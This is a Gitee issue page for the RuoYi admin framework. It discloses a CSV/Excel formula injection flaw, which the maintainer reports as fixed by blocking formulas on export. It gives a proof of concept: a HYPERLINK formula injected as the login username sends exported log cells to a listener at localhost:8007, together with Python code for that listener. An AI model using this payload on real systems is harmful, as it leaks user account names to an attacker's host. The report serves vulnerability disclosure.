5.7K Star 41K Fork 22.2K

GVP若依 / RuoYi

 / 详情

CSV Injection Vulnerability

已完成
创建于  
2022-01-18 16:43

The product has the CSV injection vulnerability. For example, the CSV injection vulnerability is used to obtain login accounts.

When a user logs in, in the request of "/login", change the value of username to =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E") by burpsuite tool.
输入图片说明
输入图片说明
2.
Run the python script to start the HTTP service with port 8007.

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

data = {'result': 'this is a test'}
# You can change  **localhost**  to the IP address of the hacker's computer.
host = ('localhost', 8007)


class Resquest(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())

if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()

Choose "日志管理"->"登录日志" ("Log Management"->"Login Log") to view logs, and exporting .xlsx log file.
输入图片说明

Open .xlsx log file, double-click the cell of =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E"). Then click an empty cell. And then click the cell of =HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E"). In this case, a request is sent to the localhost:8007.
The contents of cells B2 and B3 are admin and test1.
输入图片说明
Before double-click.
输入图片说明
After double-click. And then click E.
输入图片说明
A request is sent to the localhost:8007 through the browser.
输入图片说明
5.
The HTTP service with port 8007 receives the following information:
127.0.0.1 - - [18/Jan/2022 17:04:07] "GET /?u=admintest1 HTTP/1.1" 200 -
输入图片说明

So, we get user"admin"/"test1"/...

评论 (1)

sanlang 创建了任务
sanlang 修改了描述
sanlang 修改了标题
sanlang 修改了描述
sanlang 修改了描述
sanlang 修改了描述
sanlang 修改了描述
sanlang 修改了描述
展开全部操作日志

@sanlang 已修复,你可以更新一下代码。
导出Excel时屏蔽公式,防止CSV注入风险
https://gitee.com/y_project/RuoYi/commit/e9ebf86ac8a53bfc8475c7efad6f63a593eaefa9

若依 任务状态待办的 修改为已完成

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(2)
1151004 y project 1578942802
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi

搜索帮助